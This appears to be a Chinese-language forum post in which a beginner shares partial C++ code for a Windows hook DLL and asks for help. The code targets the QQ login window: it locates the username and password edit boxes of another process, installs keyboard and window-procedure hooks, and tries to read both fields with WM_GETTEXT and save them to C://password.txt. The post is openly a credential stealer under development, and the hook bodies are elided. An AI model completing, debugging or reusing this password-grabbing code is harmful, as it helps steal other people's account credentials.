這問題應該很容易,但我不會,還就沒人告訴我,鬱悶的。誰看了給指點一下。C++學的很差,看了不許笑。
我想獲得另一個進程的某個文字框的內容,於是將處理代碼寫道一個用C++編得DLL裡,找到合格編輯框控制代碼後,向其發送WM_GETTEXT訊息,從協助文檔上看要從DefWindowProc函數中才能得到內容資訊。現在的問題是:
我在C++檔案中如何使用該函數獲得常值內容?或者是否應該採用其它方法完成該功能。
部分代碼如下:
#define MyDll_API _declspec(dllexport)
#include "MyDll.h"
#include "Winuser.h"
#include "Windows.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
HWND g_hNum=NULL;
HWND g_hPwd=NULL;
HHOOK g_hProc=NULL;
HHOOK g_hKey=NULL;
HINSTANCE g_hinstDLL=NULL;
void GetPassword()
{
MessageBox(NULL,"進入擷取密碼階段!","鬱悶",0);
char num[255];
char pwd[255];
char total[255];
HANDLE h;
DWORD dw;
memset(num,0,255);
memset(pwd,0,255);
memset(total,0,255);
//問題是訊息發了怎麼接啊?DefWindowProc寫到哪裡啊?鬱悶死了。
SendMessage(g_hNum,WM_GETTEXT,255,(LPARAM)num);
strcat(total,"使用者名稱:");
//得不到常值內容阿!!怎麼做?
//strcat(total,num);
MessageBox(NULL,total,"鬱悶",0);
SendMessage(g_hPwd,WM_GETTEXT,255,(LPARAM)pwd);
strcat(total,"密碼:");
//得不到常值內容阿!!怎麼做?
// strcat(total,pwd);
MessageBox(NULL,total,"鬱悶",0);
h=CreateFile("C://password.txt",
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
WriteFile(h,&total,sizeof(total),&dw,NULL);
CloseHandle(h);
}
LRESULT CALLBACK KeyboardProc(
int code,
WPARAM wParam,
LPARAM lParam
)
{
。。。。。。。
。。。。。。。
。。。。。。。
return CallNextHookEx(g_hKey,code,wParam,lParam);
}
LRESULT CALLBACK CallWndProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
{
CWPSTRUCT *p=(CWPSTRUCT*)lParam;
。。。。。。。
。。。。。。。
。。。。。。。
return CallNextHookEx(g_hProc,nCode,wParam,lParam);
}
BOOL WINAPI SetQQHook(HWND hwnd)
{
BOOL bRet=FALSE;
// g_procPre=SetWindowLong(hwnd,GWL_WNDPROC,(LONG)MainWndProc);
char lpClsName[255];
memset(lpClsName,0,255);
int cnt=0;
HWND hSubWnd=NULL;
HWND hNextWnd=NULL;
HWND hTemp=NULL;
if(hwnd!=NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hwnd,NULL);
// MessageBox(NULL,MAKEINTRESOURCE(dwThreadID),"鬱悶",0);
// hTemp=hwnd;
hTemp = GetWindow(hwnd,GW_CHILD);
do
{
hSubWnd = GetWindow(hTemp,GW_HWNDNEXT);
int a=GetClassName(hSubWnd,lpClsName,255);
// MessageBox(NULL,lpClsName,"鬱悶",0);
if(a==0)
{
MessageBox(NULL,"徹底失敗,連子視窗都找不到!","鬱悶",0);
return FALSE;
}
cnt++;
if(cnt>20)
{
MessageBox(NULL,"看來方法不對,只好放棄了!","鬱悶",0);
break;
}
hTemp = hSubWnd;
}while(0!=stricmp(lpClsName,"EDIT"));
if(0==stricmp(lpClsName,"EDIT"))
{
g_hNum = hSubWnd;
}
if(g_hNum==NULL)
{
MessageBox(NULL,"失敗,找不到使用者名稱視窗!","鬱悶",0);
return FALSE;
}
cnt=0;
do{
hNextWnd=GetNextWindow(hSubWnd,GW_HWNDNEXT);
int a=GetClassName(hSubWnd,lpClsName,255);
// MessageBox(NULL,lpClsName,"鬱悶",0);
if(a==0)
{
MessageBox(NULL,"失敗,找不到密碼子視窗!","鬱悶",0);
return FALSE;
}
cnt++;
if(cnt>20)
break;
hSubWnd = hNextWnd;
}while(0!=stricmp(lpClsName,"EDIT"));
if(0==stricmp(lpClsName,"EDIT"))
{
// LONG lStyle = GetWindowLong(hNextWnd,GWL_STYLE);
// if(lStyle & ES_PASSWORD)
// {
g_hPwd=hNextWnd;
// }
}
if(g_hPwd==NULL)
{
MessageBox(NULL,"失敗,找不到密碼視窗!","鬱悶",0);
return FALSE;
}
// g_hProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,g_hinstDLL,dwThreadID);
// g_hKey=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,g_hinstDLL,dwThreadID);
g_hProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,GetModuleHandle("MyDll"),dwThreadID);
g_hKey=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("MyDll"),dwThreadID);
// MessageBox(NULL,"在建立鉤子後顯示","鬱悶",0);
bRet=(g_hProc!=NULL)&&(g_hKey!=NULL);
}
else
{
bRet=UnhookWindowsHookEx(g_hProc)&&UnhookWindowsHookEx(g_hKey);
g_hProc=NULL;
g_hKey=NULL;
g_hNum=NULL;
g_hPwd=NULL;
}
return bRet;
}